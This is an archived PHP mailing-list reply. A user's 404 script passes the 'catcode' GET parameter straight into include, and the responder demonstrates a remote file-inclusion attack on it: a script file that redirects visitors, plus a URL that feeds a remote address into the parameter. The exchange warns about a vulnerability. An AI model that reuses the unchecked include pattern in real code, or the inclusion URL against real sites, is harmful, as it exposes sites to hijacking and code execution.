Re: [PHP] simple page not found 404 script - PHP



Em Sexta 30 Março 2007 13:17, Dwayne Heronimo escreveu:
where getting there .. now i have this.. but now it will only show the 404
page. I think somehow that the firstpart is not working? the include part?
http://arubaguide.org/arubaguide/categories.php?catcode=activities


<?php require_once('../Connections/arubaguide.php'); ?>

<?php

$cat_item = $_GET['catcode'];
if(file_exists($cat_item)) {
include "$cat_item";
}
else {
include "404.php";
exit;
}


include exploit:

arq_inc.htm:

<script>
window.location="www.mypage.com";
</script>

then:

www.yourpage.com/script.php?catcode=http://www.mypage.com/arc_inc.htm


o/


--
Davi Vidal
davividal@xxxxxxxxxxxxxxxx
davividal@xxxxxxxxx
--

Agora com fortune:
""The government is not the surplus's money, Vice President."

George W. Bush
November 5, 2000
From The Washington Post."
.



Relevant Pages

  • Re: problem with include.
    ... include-Statement in it. ... Minimum Requirement: PHP 4.3.3 ... This error log is empty. ...
    (comp.lang.php)
  • Re: 7.1-PRERELEASE: arcmsr write performance problem
    ... check how large is your PHP sessions' directory. ... either of these two running after a fresh reboot and we will see if this ... never seems to recover unless I reboot it or somehow find the process ... As the processes do get stuck in the ufs mode from what I can tell I thought this was an interesting connection. ...
    (freebsd-stable)
  • IE Page Freezes
    ... and PHP. ... refresh occurs the page stops rendering at the point where my script ... // *** Logout the current user removing cookies and count. ...
    (comp.lang.php)
  • Vuln in PHPGEDVIEW 2.61 Multi-Problem
    ... Lang: PHP ... Rick: Hight ... Windak - Vietnamese Security Group ...
    (Bugtraq)
  • Re: PHP to EMail BCC
    ... First off let me say I know near nothing about PHP. ... Some time ago I purchased a little program called PHP Form Wizard to ... form input data to a specified addy which works well. ...
    (alt.php)